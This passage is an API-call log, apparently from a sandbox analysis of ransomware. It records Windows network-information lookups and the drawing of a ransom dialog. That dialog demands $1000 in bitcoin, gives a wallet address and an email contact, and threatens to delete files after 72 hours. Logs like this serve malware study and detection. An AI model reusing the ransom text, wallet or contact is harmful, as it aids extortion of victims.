lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0041.040] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0041.041] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xbf60cfe2f8, BufferType=0xbf60cfe320 | out: lpNameBuffer=0xbf60cfe2f8*="WORKGROUP", BufferType=0xbf60cfe320) returned 0x0 [0041.042] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0041.043] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.043] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.043] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.043] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0041.043] PeekMessageW (in: lpMsg=0xbf60cfe2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe2e0) returned 0 [0041.044] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0041.044] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0041.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xbf60f34fb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0041.051] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0041.051] NetApiBufferSize (in: Buffer=0xbf60f4bb40, ByteCount=0xbf60cfda58 | out: ByteCount=0xbf60cfda58) returned 0x0 [0041.051] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0041.052] PeekMessageW (in: lpMsg=0xbf60cfe2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe2e0) returned 0 [0041.052] PeekMessageW (in: lpMsg=0xbf60cfe2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfe2e0) returned 0 [0041.053] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0041.053] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.053] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.053] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0041.056] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.056] PeekMessageW (in: lpMsg=0xbf60cfeb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfeb80) returned 0 [0041.056] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.056] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.056] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.056] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.056] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0041.056] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.056] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0x8018c, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xc001e [0041.058] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.058] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x80001, lParam=0xc001e) returned 0x0 [0041.058] GetStockObject (i=17) returned 0x10a0047 [0041.058] SendMessageW (hWnd=0xc001e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0041.058] GetWindowTextLengthW (hWnd=0xc001e) returned 417 [0041.058] SendMessageW (hWnd=0xc001e, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0041.058] GetClientRect (in: hWnd=0xc001e, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0041.058] GetWindowRect (in: hWnd=0xc001e, lpRect=0xbf60cff2c0 | out: lpRect=0xbf60cff2c0) returned 1 [0041.058] SetWindowLongPtrW (hWnd=0xc001e, nIndex=-21, dwNewLong=0x8) returned 0x0 [0041.058] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.058] TranslateMessage (lpMsg=0xbf60cff870) returned 0 [0041.058] DispatchMessageW (lpMsg=0xbf60cff870) returned 0xffffffff [0041.058] GetForegroundWindow () returned 0x301cc [0041.058] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0041.058] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.059] GetDC (hWnd=0x0) returned 0x1601069e [0041.059] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0041.059] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0041.059] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x630a05cc [0041.059] SendMessageW (hWnd=0xc001e, Msg=0x30, wParam=0x630a05cc, lParam=0x1) returned 0x1 [0041.063] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.063] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.063] ShowWindow (hWnd=0x8018c, nCmdShow=5) returned 0 [0041.063] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.063] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.063] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.063] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x46, wParam=0x0, lParam=0xbf60cff810) returned 0x0 [0041.072] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.072] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x46, wParam=0x0, lParam=0xbf60cff810) returned 0x0 [0041.072] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.072] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0041.072] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0041.072] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.072] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0041.073] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.073] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.073] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0041.076] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.076] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0041.078] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.078] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0041.078] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.078] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.078] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0041.079] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.079] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x8, wParam=0x501ea, lParam=0x0) returned 0x0 [0041.079] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.079] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0041.079] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.079] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0041.079] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.079] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0xffffffff91010568, lParam=0x0) returned 0x1 [0041.079] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.079] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.079] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.079] SetBkColor (hdc=0xffffffff91010568, color=0xf0f0f0) returned 0xffffff [0041.079] CreateSolidBrush (color=0xf0f0f0) returned 0xffffffffce1005a0 [0041.080] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.080] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x47, wParam=0x0, lParam=0xbf60cff810) returned 0x0 [0041.080] GetForegroundWindow () returned 0x8018c [0041.080] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.080] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.080] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0041.080] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.080] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0041.080] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.080] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] GetWindowLongW (hWnd=0x8018c, nIndex=-20) returned 256 [0041.081] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x84, wParam=0x0, lParam=0x2010312) returned 0x1 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] GetClientRect (in: hWnd=0x8018c, lpRect=0xbf60cff520 | out: lpRect=0xbf60cff520) returned 1 [0041.081] GetCursorPos (in: lpPoint=0xbf60cff540 | out: lpPoint=0xbf60cff540*(x=786, y=513)) returned 1 [0041.081] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff540 | out: lpPoint=0xbf60cff540) returned 1 [0041.081] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0041.081] SetCursor (hCursor=0x10003) returned 0x10007 [0041.081] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x200, wParam=0x0, lParam=0x18b01d1) returned 0x0 [0041.081] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.081] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] BeginPaint (in: hWnd=0x8018c, lpPaint=0xbf60cff410 | out: lpPaint=0xbf60cff410) returned 0xffffffff91010568 [0041.081] EndPaint (hWnd=0x8018c, lpPaint=0xbf60cff410) returned 1 [0041.081] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.081] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x160106e3, lParam=0x0) returned 0x1 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.081] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.082] SetBkColor (hdc=0x160106e3, color=0xf0f0f0) returned 0xffffff [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x160106e3, lParam=0x4) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.082] SetBkColor (hdc=0x160106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.082] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff010) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.082] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff010) returned 0x0 [0041.082] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.082] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.082] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.082] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.082] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0041.082] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x1601069e, lParam=0x0) returned 0x1 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.082] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.082] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0x0 [0041.083] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.083] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x1601069e, lParam=0x4) returned 0x0 [0041.083] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.083] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.083] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.083] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.083] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.083] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0041.083] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0041.083] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.083] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.083] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.083] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.083] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.083] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0041.083] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.084] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.084] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.084] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.084] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.084] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.084] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0041.084] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.085] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.085] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.085] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.085] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.085] GetWindowLongPtrW (hWnd=0x801e6, nIndex=-21) returned 0x5 [0041.085] GetWindowLongPtrW (hWnd=0x801e6, nIndex=-21) returned 0x5 [0041.085] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.085] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.085] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0041.086] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.086] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.086] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.086] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.086] GetWindowLongPtrW (hWnd=0x5011c, nIndex=-21) returned 0x6 [0041.086] GetWindowLongPtrW (hWnd=0x5011c, nIndex=-21) returned 0x6 [0041.086] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.086] GetWindowLongW (hWnd=0x5011c, nIndex=-16) returned 1342242944 [0041.086] GetSysColor (nIndex=5) returned 0xffffff [0041.086] GetSysColor (nIndex=8) returned 0x0 [0041.086] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0041.086] SetBkColor (hdc=0x11010729, color=0xffffff) returned 0xffffff [0041.086] CreateSolidBrush (color=0xffffff) returned 0xffffffff971006d5 [0041.086] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.086] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x330106ff, lParam=0x0) returned 0x1 [0041.086] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.086] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.086] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.086] SetBkColor (hdc=0x330106ff, color=0xf0f0f0) returned 0xffffff [0041.090] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.090] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x330106ff, lParam=0x4) returned 0x0 [0041.090] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.090] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.090] GetWindowLongPtrW (hWnd=0x5011c, nIndex=-21) returned 0x6 [0041.090] GetWindowLongPtrW (hWnd=0x5011c, nIndex=-21) returned 0x6 [0041.090] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.090] GetWindowLongW (hWnd=0x5011c, nIndex=-16) returned 1342242944 [0041.090] GetSysColor (nIndex=5) returned 0xffffff [0041.090] GetSysColor (nIndex=8) returned 0x0 [0041.090] SetTextColor (hdc=0x340106ff, color=0x0) returned 0x0 [0041.090] SetBkColor (hdc=0x340106ff, color=0xffffff) returned 0xffffff [0041.092] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.092] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x350106ff, lParam=0x0) returned 0x1 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.093] SetBkColor (hdc=0x350106ff, color=0xf0f0f0) returned 0xffffff [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x350106ff, lParam=0x4) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.093] SetBkColor (hdc=0x350106ff, color=0xf0f0f0) returned 0xf0f0f0 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0xb0020, nIndex=-21) returned 0x7 [0041.093] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x7, lParam=0xbf60cff010) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0xb0020, nIndex=-21) returned 0x7 [0041.093] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x7, lParam=0xbf60cff010) returned 0x0 [0041.093] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.093] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.093] GetWindowLongPtrW (hWnd=0xc001e, nIndex=-21) returned 0x8 [0041.093] GetWindowLongPtrW (hWnd=0xc001e, nIndex=-21) returned 0x8 [0041.093] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.093] GetWindowLongW (hWnd=0xc001e, nIndex=-16) returned 1342179332 [0041.093] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.093] GetSysColor (nIndex=8) returned 0x0 [0041.093] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.093] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0041.094] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.094] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x180106e3, lParam=0x0) returned 0x1 [0041.094] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.094] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.094] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.094] SetBkColor (hdc=0x180106e3, color=0xf0f0f0) returned 0xffffff [0041.094] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.094] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x180106e3, lParam=0x4) returned 0x0 [0041.094] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.094] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.094] GetWindowLongPtrW (hWnd=0xc001e, nIndex=-21) returned 0x8 [0041.094] GetWindowLongPtrW (hWnd=0xc001e, nIndex=-21) returned 0x8 [0041.094] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.094] GetWindowLongW (hWnd=0xc001e, nIndex=-16) returned 1342179332 [0041.094] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.094] GetSysColor (nIndex=8) returned 0x0 [0041.094] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.094] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0041.094] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.094] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.094] GetWindowLongPtrW (hWnd=0xc001e, nIndex=-21) returned 0x8 [0041.094] GetWindowLongPtrW (hWnd=0xc001e, nIndex=-21) returned 0x8 [0041.095] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.095] GetWindowLongW (hWnd=0xc001e, nIndex=-16) returned 1342179332 [0041.095] GetSysColor 